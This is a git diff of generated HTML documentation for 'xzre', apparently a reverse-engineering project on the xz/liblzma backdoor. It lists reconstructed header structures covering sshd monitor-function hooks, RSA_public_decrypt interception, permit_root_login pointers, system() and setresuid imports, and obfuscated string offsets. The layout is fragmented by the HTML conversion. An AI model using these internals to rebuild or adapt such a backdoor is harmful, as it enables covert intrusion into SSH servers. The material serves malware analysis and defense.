ReturnsBOOL TRUE if the instruction is an endbr64, FALSE otherwise
+
+
+
+◆ is_gnu_relro()
+
+
+
+
+
+ BOOL is_gnu_relro |
+ ( |
+ Elf64_Word |
+ p_type, |
+
+
+ |
+ |
+ u32 |
+ addend |
+
+
+ |
+ ) |
+ | |
+
+
+
+
+
checks if the provided identifiers represent a PT_GNU_RELRO
+
- Parameters
-
+
+ p_type | program header type |
+ addend | constant 0xA0000000 |
+
+
+
+
- Returns
- BOOL TRUE if the supplied pt_type is
PT_GNU_RELRO
, FALSE otherwise
+
diff --git a/xzre_8h_source.html b/xzre_8h_source.html
index e84a74a..8d4be55 100644
--- a/xzre_8h_source.html
+++ b/xzre_8h_source.html
@@ -220,1935 +220,1951 @@
189 typedef struct link_map *lookup_t;
-
- 192 struct La_i86_retval;
- 193 struct La_x86_64_regs;
- 194 struct La_x86_64_retval;
-
- 196 struct La_x32_retval;
-
-
-
-
-
- 202 void (*activity) (uintptr_t *,
unsigned int);
- 203 char *(*objsearch) (
const char *, uintptr_t *,
unsigned int);
- 204 unsigned int (*objopen) (
struct link_map *, Lmid_t, uintptr_t *);
- 205 void (*preinit) (uintptr_t *);
-
-
- 208 uintptr_t (*symbind32) (Elf32_Sym *,
unsigned int, uintptr_t *,
- 209 uintptr_t *,
unsigned int *,
const char *);
- 210 uintptr_t (*symbind64) (Elf64_Sym *,
unsigned int, uintptr_t *,
- 211 uintptr_t *,
unsigned int *,
const char *);
-
-
-
- 215 Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *,
unsigned int, uintptr_t *,
- 216 uintptr_t *,
struct La_i86_regs *,
- 217 unsigned int *,
const char *name,
- 218 long int *framesizep);
- 219 Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *,
unsigned int,
-
- 221 uintptr_t *,
struct La_x86_64_regs *,
- 222 unsigned int *,
const char *name,
- 223 long int *framesizep);
- 224 Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *,
unsigned int, uintptr_t *,
- 225 uintptr_t *,
struct La_x32_regs *,
- 226 unsigned int *,
const char *name,
- 227 long int *framesizep);
-
-
-
- 231 unsigned int (*i86_gnu_pltexit) (Elf32_Sym *,
unsigned int, uintptr_t *,
- 232 uintptr_t *,
const struct La_i86_regs *,
- 233 struct La_i86_retval *,
const char *);
- 234 unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *,
unsigned int,
-
-
- 237 const struct La_x86_64_regs *,
- 238 struct La_x86_64_retval *,
-
- 240 unsigned int (*x32_gnu_pltexit) (Elf32_Sym *,
unsigned int, uintptr_t *,
-
- 242 const struct La_x32_regs *,
- 243 struct La_x86_64_retval *,
-
-
- 246 unsigned int (*objclose) (uintptr_t *);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 278 #define CHACHA20_KEY_SIZE 32
- 279 #define CHACHA20_IV_SIZE 16
- 280 #define SHA256_DIGEST_SIZE 32
- 281 #define ED448_KEY_SIZE 57
+
+
+
+
+ 196 uint32_t bloom_shift;
+
+
+
+
+
+
+
+
+
+ 206 struct La_i86_retval;
+ 207 struct La_x86_64_regs;
+ 208 struct La_x86_64_retval;
+
+ 210 struct La_x32_retval;
+
+
+
+
+
+ 216 void (*activity) (uintptr_t *,
unsigned int);
+ 217 char *(*objsearch) (
const char *, uintptr_t *,
unsigned int);
+ 218 unsigned int (*objopen) (
struct link_map *, Lmid_t, uintptr_t *);
+ 219 void (*preinit) (uintptr_t *);
+
+
+ 222 uintptr_t (*symbind32) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 223 uintptr_t *,
unsigned int *,
const char *);
+ 224 uintptr_t (*symbind64) (Elf64_Sym *,
unsigned int, uintptr_t *,
+ 225 uintptr_t *,
unsigned int *,
const char *);
+
+
+
+ 229 Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 230 uintptr_t *,
struct La_i86_regs *,
+ 231 unsigned int *,
const char *name,
+ 232 long int *framesizep);
+ 233 Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *,
unsigned int,
+
+ 235 uintptr_t *,
struct La_x86_64_regs *,
+ 236 unsigned int *,
const char *name,
+ 237 long int *framesizep);
+ 238 Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 239 uintptr_t *,
struct La_x32_regs *,
+ 240 unsigned int *,
const char *name,
+ 241 long int *framesizep);
+
+
+
+ 245 unsigned int (*i86_gnu_pltexit) (Elf32_Sym *,
unsigned int, uintptr_t *,
+ 246 uintptr_t *,
const struct La_i86_regs *,
+ 247 struct La_i86_retval *,
const char *);
+ 248 unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *,
unsigned int,
+
+
+ 251 const struct La_x86_64_regs *,
+ 252 struct La_x86_64_retval *,
+
+ 254 unsigned int (*x32_gnu_pltexit) (Elf32_Sym *,
unsigned int, uintptr_t *,
+
+ 256 const struct La_x32_regs *,
+ 257 struct La_x86_64_retval *,
+
+
+ 260 unsigned int (*objclose) (uintptr_t *);
+
+
+
+
+
+
+
+
+
+
+
+
+
-
- 284 #define XZDASM_OPC(op) (op - 0x80)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 316 DF_MEM_SEG_OFFS = 0x4,
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 363 X_ELF_DYNAMIC_LINKER = 1,
-
-
-
-
-
- 369 XREF_xcalloc_zero_size = 0,
- 370 XREF_Could_not_chdir_to_home_directory_s_s = 1,
- 371 XREF_list_hostkey_types = 2,
- 372 XREF_demote_sensitive_data = 3,
- 373 XREF_mm_terminate = 4,
- 374 XREF_mm_pty_allocate = 5,
- 375 XREF_mm_do_pam_account = 6,
- 376 XREF_mm_session_pty_cleanup2 = 7,
- 377 XREF_mm_getpwnamallow = 8,
- 378 XREF_mm_sshpam_init_ctx = 9,
- 379 XREF_mm_sshpam_query = 10,
- 380 XREF_mm_sshpam_respond = 11,
- 381 XREF_mm_sshpam_free_ctx = 12,
- 382 XREF_mm_choose_dh = 13,
- 383 XREF_sshpam_respond = 14,
- 384 XREF_sshpam_auth_passwd = 15,
- 385 XREF_sshpam_query = 16,
-
- 387 XREF_mm_request_send = 18,
- 388 XREF_mm_log_handler = 19,
- 389 XREF_Could_not_get_agent_socket = 20,
- 390 XREF_auth_root_allowed = 21,
- 391 XREF_mm_answer_authpassword = 22,
- 392 XREF_mm_answer_keyallowed = 23,
- 393 XREF_mm_answer_keyverify = 24,
- 394 XREF_48s_48s_d_pid_ld_ = 25,
- 395 XREF_Unrecognized_internal_syslog_level_code_d = 26
-
-
-
-
-
- 401 STR_48s_48s_d_pid_ld_ = 0xd8,
-
- 403 STR_usr_sbin_sshd = 0x108,
- 404 STR_Accepted_password_for = 0x870,
- 405 STR_Accepted_publickey_for = 0x1a0,
- 406 STR_BN_bin2bn = 0xc40,
- 407 STR_BN_bn2bin = 0x6d0,
-
-
- 410 STR_BN_num_bits = 0x4e0,
- 411 STR_Connection_closed_by = 0x790,
- 412 STR_Could_not_chdir_to_home_directory_s_s = 0x18,
- 413 STR_Could_not_get_agent_socket = 0xb0,
-
- 415 STR_DSA_get0_pqg = 0x9d0,
- 416 STR_DSA_get0_pub_key = 0x468,
- 417 STR_EC_KEY_get0_group = 0x7e8,
- 418 STR_EC_KEY_get0_public_key = 0x268,
- 419 STR_EC_POINT_point2oct = 0x6e0,
- 420 STR_EVP_CIPHER_CTX_free = 0xb28,
- 421 STR_EVP_CIPHER_CTX_new = 0x838,
- 422 STR_EVP_DecryptFinal_ex = 0x2a8,
- 423 STR_EVP_DecryptInit_ex = 0xc08,
- 424 STR_EVP_DecryptUpdate = 0x3f0,
- 425 STR_EVP_Digest = 0xf8,
- 426 STR_EVP_DigestVerify = 0x408,
- 427 STR_EVP_DigestVerifyInit = 0x118,
- 428 STR_EVP_MD_CTX_free = 0xd10,
- 429 STR_EVP_MD_CTX_new = 0xaf8,
- 430 STR_EVP_PKEY_free = 0x6f8,
- 431 STR_EVP_PKEY_new_raw_public_key = 0x758,
- 432 STR_EVP_PKEY_set1_RSA = 0x510,
- 433 STR_EVP_chacha20 = 0xc28,
- 434 STR_EVP_sha256 = 0xc60,
-
- 436 STR_GLIBC_2_2_5 = 0x8c0,
- 437 STR_GLRO_dl_naudit_naudit = 0x6a8,
- 438 STR_KRB5CCNAME = 0x1e0,
- 439 STR_LD_AUDIT = 0xcf0,
- 440 STR_LD_BIND_NOT = 0xbc0,
- 441 STR_LD_DEBUG = 0xa90,
- 442 STR_LD_PROFILE = 0xb98,
- 443 STR_LD_USE_LOAD_BIAS = 0x3e0,
-
- 445 STR_RSA_free = 0xac0,
- 446 STR_RSA_get0_key = 0x798,
-
- 448 STR_RSA_public_decrypt = 0x1d0,
- 449 STR_RSA_set0_key = 0x540,
- 450 STR_RSA_sign = 0x8f8,
-
-
- 453 STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
- 454 STR_WAYLAND_DISPLAY = 0x158,
- 455 STR_errno_location = 0x878,
- 456 STR_libc_stack_end = 0x2b0,
- 457 STR_libc_start_main = 0x228,
- 458 STR_dl_audit_preinit = 0xa60,
- 459 STR_dl_audit_symbind_alt = 0x9c8,
-
-
- 462 STR_rtld_global = 0x5b8,
- 463 STR_rtld_global_ro = 0xa98,
- 464 STR_auth_root_allowed = 0xb8,
- 465 STR_authenticating = 0x1d8,
- 466 STR_demote_sensitive_data = 0x28,
-
- 468 STR_ld_linux_x86_64_so = 0xa48,
-
- 470 STR_libcrypto_so = 0x7c0,
- 471 STR_liblzma_so = 0x590,
- 472 STR_libsystemd_so = 0x938,
- 473 STR_list_hostkey_types = 0x20,
- 474 STR_malloc_usable_size = 0x440,
- 475 STR_mm_answer_authpassword = 0xc0,
- 476 STR_mm_answer_keyallowed = 0xc8,
- 477 STR_mm_answer_keyverify = 0xd0,
- 478 STR_mm_answer_pam_start = 0x948,
- 479 STR_mm_choose_dh = 0x78,
- 480 STR_mm_do_pam_account = 0x40,
- 481 STR_mm_getpwnamallow = 0x50,
- 482 STR_mm_log_handler = 0xa8,
- 483 STR_mm_pty_allocate = 0x38,
- 484 STR_mm_request_send = 0xa0,
- 485 STR_mm_session_pty_cleanup2 = 0x48,
- 486 STR_mm_sshpam_free_ctx = 0x70,
- 487 STR_mm_sshpam_init_ctx = 0x58,
- 488 STR_mm_sshpam_query = 0x60,
- 489 STR_mm_sshpam_respond = 0x68,
- 490 STR_mm_terminate = 0x30,
- 491 STR_parse_PAM = 0xc58,
- 492 STR_password = 0x400,
-
-
- 495 STR_publickey = 0x7b8,
-
- 497 STR_rsa_sha2_256 = 0x710,
- 498 STR_setlogmask = 0x428,
- 499 STR_setresgid = 0x5f0,
- 500 STR_setresuid = 0xab8,
- 501 STR_shutdown = 0x760,
-
- 503 STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
- 504 STR_sshpam_auth_passwd = 0x88,
- 505 STR_sshpam_query = 0x90,
- 506 STR_sshpam_respond = 0x80,
- 507 STR_start_pam = 0x98,
-
-
-
-
- 512 STR_xcalloc_zero_size = 0x10,
- 513 STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
-
-
-
-
- 518 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
-
- 520 #define assert_offset(t, f, o)
-
-
- 523 #define CONCAT(x, y) x ## y
- 524 #define EXPAND(x, y) CONCAT(x, y)
- 525 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
-
-
-
-
-
- 531 #define PERMIT_NOT_SET -1
-
- 533 #define PERMIT_FORCED_ONLY 1
- 534 #define PERMIT_NO_PASSWD 2
-
+
+
+
+
+
+
+
+
+ 292 #define CHACHA20_KEY_SIZE 32
+ 293 #define CHACHA20_IV_SIZE 16
+ 294 #define SHA256_DIGEST_SIZE 32
+ 295 #define ED448_KEY_SIZE 57
+
+
+ 298 #define XZDASM_OPC(op) (op - 0x80)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 330 DF_MEM_SEG_OFFS = 0x4,
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 377 X_ELF_DYNAMIC_LINKER = 1,
+
+
+
+
+
+ 383 XREF_xcalloc_zero_size = 0,
+ 384 XREF_Could_not_chdir_to_home_directory_s_s = 1,
+ 385 XREF_list_hostkey_types = 2,
+ 386 XREF_demote_sensitive_data = 3,
+ 387 XREF_mm_terminate = 4,
+ 388 XREF_mm_pty_allocate = 5,
+ 389 XREF_mm_do_pam_account = 6,
+ 390 XREF_mm_session_pty_cleanup2 = 7,
+ 391 XREF_mm_getpwnamallow = 8,
+ 392 XREF_mm_sshpam_init_ctx = 9,
+ 393 XREF_mm_sshpam_query = 10,
+ 394 XREF_mm_sshpam_respond = 11,
+ 395 XREF_mm_sshpam_free_ctx = 12,
+ 396 XREF_mm_choose_dh = 13,
+ 397 XREF_sshpam_respond = 14,
+ 398 XREF_sshpam_auth_passwd = 15,
+ 399 XREF_sshpam_query = 16,
+
+ 401 XREF_mm_request_send = 18,
+ 402 XREF_mm_log_handler = 19,
+ 403 XREF_Could_not_get_agent_socket = 20,
+ 404 XREF_auth_root_allowed = 21,
+ 405 XREF_mm_answer_authpassword = 22,
+ 406 XREF_mm_answer_keyallowed = 23,
+ 407 XREF_mm_answer_keyverify = 24,
+ 408 XREF_48s_48s_d_pid_ld_ = 25,
+ 409 XREF_Unrecognized_internal_syslog_level_code_d = 26
+
+
+
+
+
+ 415 STR_48s_48s_d_pid_ld_ = 0xd8,
+
+ 417 STR_usr_sbin_sshd = 0x108,
+ 418 STR_Accepted_password_for = 0x870,
+ 419 STR_Accepted_publickey_for = 0x1a0,
+ 420 STR_BN_bin2bn = 0xc40,
+ 421 STR_BN_bn2bin = 0x6d0,
+
+
+ 424 STR_BN_num_bits = 0x4e0,
+ 425 STR_Connection_closed_by = 0x790,
+ 426 STR_Could_not_chdir_to_home_directory_s_s = 0x18,
+ 427 STR_Could_not_get_agent_socket = 0xb0,
+
+ 429 STR_DSA_get0_pqg = 0x9d0,
+ 430 STR_DSA_get0_pub_key = 0x468,
+ 431 STR_EC_KEY_get0_group = 0x7e8,
+ 432 STR_EC_KEY_get0_public_key = 0x268,
+ 433 STR_EC_POINT_point2oct = 0x6e0,
+ 434 STR_EVP_CIPHER_CTX_free = 0xb28,
+ 435 STR_EVP_CIPHER_CTX_new = 0x838,
+ 436 STR_EVP_DecryptFinal_ex = 0x2a8,
+ 437 STR_EVP_DecryptInit_ex = 0xc08,
+ 438 STR_EVP_DecryptUpdate = 0x3f0,
+ 439 STR_EVP_Digest = 0xf8,
+ 440 STR_EVP_DigestVerify = 0x408,
+ 441 STR_EVP_DigestVerifyInit = 0x118,
+ 442 STR_EVP_MD_CTX_free = 0xd10,
+ 443 STR_EVP_MD_CTX_new = 0xaf8,
+ 444 STR_EVP_PKEY_free = 0x6f8,
+ 445 STR_EVP_PKEY_new_raw_public_key = 0x758,
+ 446 STR_EVP_PKEY_set1_RSA = 0x510,
+ 447 STR_EVP_chacha20 = 0xc28,
+ 448 STR_EVP_sha256 = 0xc60,
+
+ 450 STR_GLIBC_2_2_5 = 0x8c0,
+ 451 STR_GLRO_dl_naudit_naudit = 0x6a8,
+ 452 STR_KRB5CCNAME = 0x1e0,
+ 453 STR_LD_AUDIT = 0xcf0,
+ 454 STR_LD_BIND_NOT = 0xbc0,
+ 455 STR_LD_DEBUG = 0xa90,
+ 456 STR_LD_PROFILE = 0xb98,
+ 457 STR_LD_USE_LOAD_BIAS = 0x3e0,
+
+ 459 STR_RSA_free = 0xac0,
+ 460 STR_RSA_get0_key = 0x798,
+
+ 462 STR_RSA_public_decrypt = 0x1d0,
+ 463 STR_RSA_set0_key = 0x540,
+ 464 STR_RSA_sign = 0x8f8,
+
+
+ 467 STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+ 468 STR_WAYLAND_DISPLAY = 0x158,
+ 469 STR_errno_location = 0x878,
+ 470 STR_libc_stack_end = 0x2b0,
+ 471 STR_libc_start_main = 0x228,
+ 472 STR_dl_audit_preinit = 0xa60,
+ 473 STR_dl_audit_symbind_alt = 0x9c8,
+
+
+ 476 STR_rtld_global = 0x5b8,
+ 477 STR_rtld_global_ro = 0xa98,
+ 478 STR_auth_root_allowed = 0xb8,
+ 479 STR_authenticating = 0x1d8,
+ 480 STR_demote_sensitive_data = 0x28,
+
+ 482 STR_ld_linux_x86_64_so = 0xa48,
+
+ 484 STR_libcrypto_so = 0x7c0,
+ 485 STR_liblzma_so = 0x590,
+ 486 STR_libsystemd_so = 0x938,
+ 487 STR_list_hostkey_types = 0x20,
+ 488 STR_malloc_usable_size = 0x440,
+ 489 STR_mm_answer_authpassword = 0xc0,
+ 490 STR_mm_answer_keyallowed = 0xc8,
+ 491 STR_mm_answer_keyverify = 0xd0,
+ 492 STR_mm_answer_pam_start = 0x948,
+ 493 STR_mm_choose_dh = 0x78,
+ 494 STR_mm_do_pam_account = 0x40,
+ 495 STR_mm_getpwnamallow = 0x50,
+ 496 STR_mm_log_handler = 0xa8,
+ 497 STR_mm_pty_allocate = 0x38,
+ 498 STR_mm_request_send = 0xa0,
+ 499 STR_mm_session_pty_cleanup2 = 0x48,
+ 500 STR_mm_sshpam_free_ctx = 0x70,
+ 501 STR_mm_sshpam_init_ctx = 0x58,
+ 502 STR_mm_sshpam_query = 0x60,
+ 503 STR_mm_sshpam_respond = 0x68,
+ 504 STR_mm_terminate = 0x30,
+ 505 STR_parse_PAM = 0xc58,
+ 506 STR_password = 0x400,
+
+
+ 509 STR_publickey = 0x7b8,
+
+ 511 STR_rsa_sha2_256 = 0x710,
+ 512 STR_setlogmask = 0x428,
+ 513 STR_setresgid = 0x5f0,
+ 514 STR_setresuid = 0xab8,
+ 515 STR_shutdown = 0x760,
+
+ 517 STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+ 518 STR_sshpam_auth_passwd = 0x88,
+ 519 STR_sshpam_query = 0x90,
+ 520 STR_sshpam_respond = 0x80,
+ 521 STR_start_pam = 0x98,
+
+
+
+
+ 526 STR_xcalloc_zero_size = 0x10,
+ 527 STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
+
+
+
+ 532 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
+ 534 #define assert_offset(t, f, o)
+
-
-
-
-
-
-
-
-
-
-
- 553 struct sshkey **host_keys;
- 554 struct sshkey **host_pubkeys;
- 555 struct sshkey **host_certificates;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 585 struct sshbuf *sk_key_handle;
- 586 struct sshbuf *sk_reserved;
-
- 588 struct sshkey_cert *cert;
-
- 590 u8 *shielded_private;
-
-
- 593 size_t shield_prekey_len;
-
-
- 596 typedef struct __attribute__((packed))
got_ctx {
-
-
-
-
-
-
-
- 620 assert_offset(
got_ctx_t, return_address, 0x8);
- 621 assert_offset(
got_ctx_t, cpuid_fn, 0x10);
- 622 assert_offset(
got_ctx_t, got_offset, 0x18);
- 623 static_assert(
sizeof(
got_ctx_t) == 0x20);
-
-
-
-
-
-
-
-
-
-
-
-
-
- 644 u64 instruction_size;
-
- 646 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
- 665 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
- 677 struct __attribute__((packed)) {
-
- 679 struct __attribute__((packed)) {
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 694 u64 operand_zeroextended;
-
-
-
-
-
-
- 701 assert_offset(
dasm_ctx_t, instruction_size, 8);
-
-
- 704 assert_offset(
dasm_ctx_t, lock_rep_byte, 0x14);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 724 assert_offset(
dasm_ctx_t, operand_zeroextended, 0x40);
- 725 assert_offset(
dasm_ctx_t, operand_size, 0x48);
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 792 Elf64_Versym *versym;
- 793 Elf64_Rela *rela_relocs;
-
-
- 796 Elf64_Relr *relr_relocs;
-
-
-
-
-
- 810 u64 rodata_segment_start;
- 811 u64 rodata_segment_size;
- 812 u64 data_segment_start;
- 813 u64 data_segment_size;
- 814 u64 data_segment_alignment;
-
-
-
-
-
- 826 u32 gnu_hash_bloom_shift;
-
-
- 829 u32 *gnu_hash_buckets;
-
-
-
-
-
-
-
-
- 838 assert_offset(
elf_info_t, dyn_num_entries, 0x28);
-
-
-
- 842 assert_offset(
elf_info_t, plt_relocs_num, 0x48);
- 843 assert_offset(
elf_info_t, gnurelro_found, 0x4C);
- 844 assert_offset(
elf_info_t, gnurelro_vaddr, 0x50);
- 845 assert_offset(
elf_info_t, gnurelro_memsize, 0x58);
-
-
-
-
- 850 assert_offset(
elf_info_t, rela_relocs_num, 0x80);
-
- 852 assert_offset(
elf_info_t, relr_relocs_num, 0x90);
- 853 assert_offset(
elf_info_t, code_segment_start, 0x98);
- 854 assert_offset(
elf_info_t, code_segment_size, 0xA0);
- 855 assert_offset(
elf_info_t, rodata_segment_start, 0xA8);
- 856 assert_offset(
elf_info_t, rodata_segment_size, 0xB0);
- 857 assert_offset(
elf_info_t, data_segment_start, 0xB8);
- 858 assert_offset(
elf_info_t, data_segment_size, 0xC0);
- 859 assert_offset(
elf_info_t, data_segment_alignment, 0xC8);
-
- 861 assert_offset(
elf_info_t, gnu_hash_nbuckets, 0xd8);
- 862 assert_offset(
elf_info_t, gnu_hash_last_bloom, 0xdc);
- 863 assert_offset(
elf_info_t, gnu_hash_bloom_shift, 0xe0);
- 864 assert_offset(
elf_info_t, gnu_hash_bloom, 0xe8);
- 865 assert_offset(
elf_info_t, gnu_hash_buckets, 0xf0);
- 866 assert_offset(
elf_info_t, gnu_hash_chain, 0xf8);
-
-
-
- 870 u32 resolved_imports_count;
-
- 872 size_t (*malloc_usable_size)(
void *ptr);
- 873 uid_t (*getuid)(void);
- 874 void (*exit)(
int status);
- 875 int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
- 876 int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
- 877 int (*system)(
const char *command);
- 878 ssize_t (*write)(
int fd,
const void *buf,
size_t count);
-
- 880 int nfds, fd_set *readfds, fd_set *writefds,
- 881 fd_set *exceptfds,
const struct timespec *timeout,
- 882 const sigset_t *sigmask);
- 883 ssize_t (*read)(
int fd,
void *buf,
size_t count);
- 884 int *(*__errno_location)(void);
- 885 int (*setlogmask)(
int mask);
- 886 int (*shutdown)(
int sockfd,
int how);
- 887 void *__libc_stack_end;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 905 typedef int (*pfn_RSA_public_decrypt_t)(
- 906 int flen,
unsigned char *from,
unsigned char *to,
- 907 RSA *rsa,
int padding);
- 908 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey,
struct rsa_st *key);
- 909 typedef void (*pfn_RSA_get0_key_t)(
-
- 911 const BIGNUM **n,
const BIGNUM **e,
const BIGNUM **d);
-
-
-
- 915 pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
-
- 917 void (*RSA_get0_key_null)(
- 918 const RSA *r,
const BIGNUM **n,
- 919 const BIGNUM **e,
const BIGNUM **d);
-
-
-
- 935 void (*DSA_get0_pqg)(
- 936 const DSA *d,
const BIGNUM **p,
- 937 const BIGNUM **q,
const BIGNUM **g);
- 938 const BIGNUM *(*DSA_get0_pub_key)(
const DSA *d);
- 939 size_t (*EC_POINT_point2oct)(
- 940 const EC_GROUP *group,
const EC_POINT *p,
- 941 point_conversion_form_t form,
unsigned char *buf,
- 942 size_t len, BN_CTX *ctx);
- 943 EC_POINT *(*EC_KEY_get0_public_key)(
const EC_KEY *key);
- 944 const EC_GROUP *(*EC_KEY_get0_group)(
const EC_KEY *key);
- 945 EVP_MD *(*EVP_sha256)(void);
- 946 pfn_RSA_get0_key_t RSA_get0_key;
- 947 int (*BN_num_bits)(
const BIGNUM *a);
- 948 EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
-
- 950 const unsigned char *key,
size_t keylen);
- 951 EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
- 952 int (*EVP_DigestVerifyInit)(
- 953 EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
- 954 const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
- 955 int (*EVP_DigestVerify)(
- 956 EVP_MD_CTX *ctx,
const unsigned char *sig,
- 957 size_t siglen,
const unsigned char *tbs,
size_t tbslen);
- 958 void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
- 959 void (*EVP_PKEY_free)(EVP_PKEY *key);
- 960 EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
- 961 int (*EVP_DecryptInit_ex)(
- 962 EVP_CIPHER_CTX *ctx,
const EVP_CIPHER *type,
- 963 ENGINE *impl,
const unsigned char *key,
const unsigned char *iv);
- 964 int (*EVP_DecryptUpdate)(
- 965 EVP_CIPHER_CTX *ctx,
unsigned char *out,
- 966 int *outl,
const unsigned char *in,
int inl);
- 967 int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx,
unsigned char *outm,
int *outl);
- 968 void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
- 969 const EVP_CIPHER *(*EVP_chacha20)(void);
- 970 RSA *(*RSA_new)(void);
- 971 BIGNUM *(*BN_dup)(
const BIGNUM *from);
- 972 BIGNUM (*BN_bin2bn)(
const unsigned char *s,
int len, BIGNUM *ret);
- 973 int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
-
- 975 const void *data,
size_t count,
unsigned char *md,
- 976 unsigned int *size,
const EVP_MD *type, ENGINE *impl);
-
-
- 979 const unsigned char *m,
unsigned int m_len,
- 980 unsigned char *sigret,
unsigned int *siglen, RSA *rsa);
- 981 int (*BN_bn2bin)(
const BIGNUM *a,
unsigned char *to);
- 982 void (*RSA_free)(RSA *rsa);
- 983 void (*BN_free)(BIGNUM *a);
-
- 985 u64 resolved_imports_count;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 1030 typedef int (*sshd_monitor_func_t)(
struct ssh *ssh,
int sock,
struct sshbuf *m);
-
-
- 1033 BOOL have_mm_answer_keyallowed;
- 1034 BOOL have_mm_answer_authpassword;
- 1035 BOOL have_mm_answer_keyverify;
-
-
-
-
- 1040 void *mm_answer_keyverify;
- 1041 void *mm_answer_authpassword_start;
- 1042 void *mm_answer_authpassword_end;
- 1043 sshd_monitor_func_t *mm_answer_authpassword_ptr;
- 1044 int monitor_reqtype_authpassword;
-
- 1046 void *mm_answer_keyallowed_start;
- 1047 void *mm_answer_keyallowed_end;
- 1048 void *mm_answer_keyallowed_ptr;
- 1049 PADDING(
sizeof(
void *));
- 1050 void *mm_answer_keyverify_start;
- 1051 void *mm_answer_keyverify_end;
- 1052 void *mm_answer_keyverify_ptr;
-
-
-
-
-
-
- 1059 char *STR_unknown_ptr;
- 1060 void *mm_request_send_start;
- 1061 void *mm_request_send_end;
- 1062 PADDING(
sizeof(u32));
- 1063 PADDING(
sizeof(u32));
-
- 1065 int *permit_root_login_ptr;
- 1066 char *STR_without_password;
- 1067 char *STR_publickey;
-
-
- 1070 assert_offset(
sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
- 1071 assert_offset(
sshd_ctx_t, have_mm_answer_authpassword, 0x4);
- 1072 assert_offset(
sshd_ctx_t, have_mm_answer_keyverify, 0x8);
-
- 1074 assert_offset(
sshd_ctx_t, mm_answer_keyverify, 0x20);
- 1075 assert_offset(
sshd_ctx_t, mm_answer_authpassword_start, 0x28);
- 1076 assert_offset(
sshd_ctx_t, mm_answer_authpassword_end, 0x30);
- 1077 assert_offset(
sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
- 1078 assert_offset(
sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
- 1079 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
- 1080 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
- 1081 assert_offset(
sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
- 1082 assert_offset(
sshd_ctx_t, mm_answer_keyverify_start, 0x68);
- 1083 assert_offset(
sshd_ctx_t, mm_answer_keyverify_end, 0x70);
- 1084 assert_offset(
sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
- 1085 assert_offset(
sshd_ctx_t, writebuf_size, 0x84);
-
- 1087 assert_offset(
sshd_ctx_t, STR_unknown_ptr, 0xA0);
- 1088 assert_offset(
sshd_ctx_t, mm_request_send_start, 0xA8);
- 1089 assert_offset(
sshd_ctx_t, mm_request_send_end, 0xB0);
- 1090 assert_offset(
sshd_ctx_t, use_pam_ptr, 0xC0);
- 1091 assert_offset(
sshd_ctx_t, permit_root_login_ptr, 0xC8);
- 1092 assert_offset(
sshd_ctx_t, STR_without_password, 0xD0);
- 1093 assert_offset(
sshd_ctx_t, STR_publickey, 0xD8);
-
-
-
-
- 1098 char *STR_percent_s;
- 1099 char *STR_Connection_closed_by;
-
- 1101 char *STR_authenticating;
-
-
-
-
-
-
